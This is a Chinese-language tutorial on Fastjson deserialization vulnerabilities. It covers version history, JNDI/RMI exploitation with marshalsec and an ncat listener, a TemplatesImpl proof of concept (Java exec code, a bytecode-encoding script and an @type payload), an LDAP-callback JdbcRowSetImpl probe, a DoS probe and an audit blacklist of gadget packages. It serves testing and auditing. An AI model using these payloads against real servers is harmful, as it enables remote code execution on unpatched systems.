某json 黑盒盲测与白盒审计
字数 1781 2025-08-26 22:11:52

Fastjson漏洞分析与利用教学文档

一、Fastjson简介

Fastjson是阿里巴巴开源的一个高性能JSON处理Java库,主要功能包括:

  • 将Java对象转换为JSON格式(序列化)
  • 将JSON转换为Java对象(反序列化)
  • 地址:https://github.com/alibaba/fastjson

二、Fastjson漏洞历史

1. Fastjson-1.2.24漏洞

  • 漏洞原理:Fastjson通过@type字段指定JSON应还原的对象类型,攻击者可利用此特性构造恶意JSON实现RCE
  • 影响版本:1.2.24及以下

2. Fastjson-1.2.48以下版本漏洞

  • 漏洞原理:checkAutoType检测黑名单时存在绕过问题
  • 影响版本:1.2.48以下

3. Fastjson-1.2.60以下版本漏洞

  • 漏洞原理:字符串中包含\x转义字符时可造成DoS漏洞
  • 影响版本:1.2.60以下

三、漏洞复现环境

测试环境配置

  • Java版本:1.8.0_181
  • Fastjson版本:1.2.24
  • Tomcat版本:7

JDK安全版本

  • JDK 8u121, 7u131, 6u141
  • RMI (JDK 6u132, 7u122, or 8u113)

四、Fastjson利用方式

1. 服务器出网情况

  • 使用JNDI注入
    • LDAP方式
    • RMI方式

RMI利用方法

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Poc" 9999
python -m SimpleHTTPServer 80
ncat –lvvp 9998

2. 服务器不能出网情况

  • 直接本地反序列化
    • 使用BasicDataSource (依赖tomcat-dbcp:7.x/9.x或commons-dbcp:1.4)
    • 使用TemplatesImpl

TemplatesImpl利用方法

关键点:

  • _bytecodes是私有属性,需要设置Feature.SupportNonPublicField
  • 利用代码示例:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Poc extends AbstractTranslet {
    public Poc() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    
    @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
    
    @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { }
    
    public static void main(String[] args) throws Exception {
        Poc t = new Poc();
    }
}

生成字节码并编码

import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en1.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()

最终POC示例

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADQAJgoABwAX..."],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
}

3. BasicDataSource利用方法

  • 依赖:commons-dbcp.jar或tomcat-dbcp.jar
  • 类路径:
    • org.apache.commons.dbcp.BasicDataSource
    • org.apache.tomcat.dbcp.dbcp.BasicDataSource

五、黑白盒测试方法

黑盒测试方法

  1. 错误探测法

    • 使用不闭合{花括号
    • 多添加"双引号
  2. Fastjson与Jackson区分

    • 原始JSON:{"name":"somename", "age":12}
    • 修改为:{"name":"somename", "age":12, "whatever":1}
    • Fastjson不会报错,Jackson会报错
  3. DoS检测

    {"a":"\x
    

    观察返回时间

  4. 反序列化探测

    {"id":"1","name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fatjaon.tuq75v.ceye.io","autoCommit":true}}
    

白盒审计方法

  1. 版本检查

    • 检查Fastjson jar包是否小于1.2.48
  2. 关键函数审计

    • JSON.parseObject()
    • JSONObject.parseObject()
    • JSON.parseAarry()
  3. 黑名单检查

    config.checkAutoType(typeName)
    

    检查是否包含以下包:

    bsh
    com.mchange
    com.sun.
    java.lang.Thread
    java.net.Socket
    java.rmi
    javax.xml
    org.apache.bcel
    org.apache.commons.beanutils
    org.apache.commons.collections.Transformer
    org.apache.commons.collections.functors
    org.apache.commons.collections4.comparators
    org.apache.commons.fileupload
    org.apache.myfaces.context.servlet
    org.apache.tomcat
    org.apache.wicket.util
    org.codehaus.groovy.runtime
    org.hibernate
    org.jboss
    org.mozilla.javascript
    org.python.core
    org.springframework
    

六、利用链及版本对应表

利用链 Payload类型 依赖
BasicDataSource local tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
JdbcRowSetImpl jndi Fastjson 1.2.47及以下
TemplatesImp local 需要Feature.SupportNonPublicField

七、实用小技巧

  1. 测试过程中回显较慢或卡顿可能是正在执行命令
  2. Poc.java文件建议用JDK1.6编译,确保兼容性
  3. 实际环境中使用parseObjectFeature.SupportNonPublicField的情况较少,漏洞利用有一定限制

八、参考资源

  1. FastjsonExploit
  2. fastjson-remote-code-execute-poc
  3. 无损检测fastjson-dos漏洞以及盲区分fastjson与jackson组件
  4. JNDI Manipulations RCE限制与绕过
Fastjson漏洞分析与利用教学文档 一、Fastjson简介 Fastjson是阿里巴巴开源的一个高性能JSON处理Java库,主要功能包括: 将Java对象转换为JSON格式(序列化) 将JSON转换为Java对象(反序列化) 地址:https://github.com/alibaba/fastjson 二、Fastjson漏洞历史 1. Fastjson-1.2.24漏洞 漏洞原理:Fastjson通过 @type 字段指定JSON应还原的对象类型,攻击者可利用此特性构造恶意JSON实现RCE 影响版本:1.2.24及以下 2. Fastjson-1.2.48以下版本漏洞 漏洞原理: checkAutoType 检测黑名单时存在绕过问题 影响版本:1.2.48以下 3. Fastjson-1.2.60以下版本漏洞 漏洞原理:字符串中包含 \x 转义字符时可造成DoS漏洞 影响版本:1.2.60以下 三、漏洞复现环境 测试环境配置 Java版本:1.8.0_ 181 Fastjson版本:1.2.24 Tomcat版本:7 JDK安全版本 JDK 8u121, 7u131, 6u141 RMI (JDK 6u132, 7u122, or 8u113) 四、Fastjson利用方式 1. 服务器出网情况 使用JNDI注入 LDAP方式 RMI方式 RMI利用方法 2. 服务器不能出网情况 直接本地反序列化 使用 BasicDataSource (依赖tomcat-dbcp:7.x/9.x或commons-dbcp:1.4) 使用 TemplatesImpl TemplatesImpl利用方法 关键点: _bytecodes 是私有属性,需要设置 Feature.SupportNonPublicField 利用代码示例: 生成字节码并编码 最终POC示例 3. BasicDataSource利用方法 依赖:commons-dbcp.jar或tomcat-dbcp.jar 类路径: org.apache.commons.dbcp.BasicDataSource org.apache.tomcat.dbcp.dbcp.BasicDataSource 五、黑白盒测试方法 黑盒测试方法 错误探测法 : 使用不闭合 { 花括号 多添加 " 双引号 Fastjson与Jackson区分 : 原始JSON: {"name":"somename", "age":12} 修改为: {"name":"somename", "age":12, "whatever":1} Fastjson不会报错,Jackson会报错 DoS检测 : 观察返回时间 反序列化探测 : 白盒审计方法 版本检查 : 检查Fastjson jar包是否小于1.2.48 关键函数审计 : JSON.parseObject() JSONObject.parseObject() JSON.parseAarry() 黑名单检查 : 检查是否包含以下包: 六、利用链及版本对应表 | 利用链 | Payload类型 | 依赖 | |--------|------------|------| | BasicDataSource | local | tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4 | | JdbcRowSetImpl | jndi | Fastjson 1.2.47及以下 | | TemplatesImp | local | 需要Feature.SupportNonPublicField | 七、实用小技巧 测试过程中回显较慢或卡顿可能是正在执行命令 Poc.java文件建议用JDK1.6编译,确保兼容性 实际环境中使用 parseObject 和 Feature.SupportNonPublicField 的情况较少,漏洞利用有一定限制 八、参考资源 FastjsonExploit fastjson-remote-code-execute-poc 无损检测fastjson-dos漏洞以及盲区分fastjson与jackson组件 JNDI Manipulations RCE限制与绕过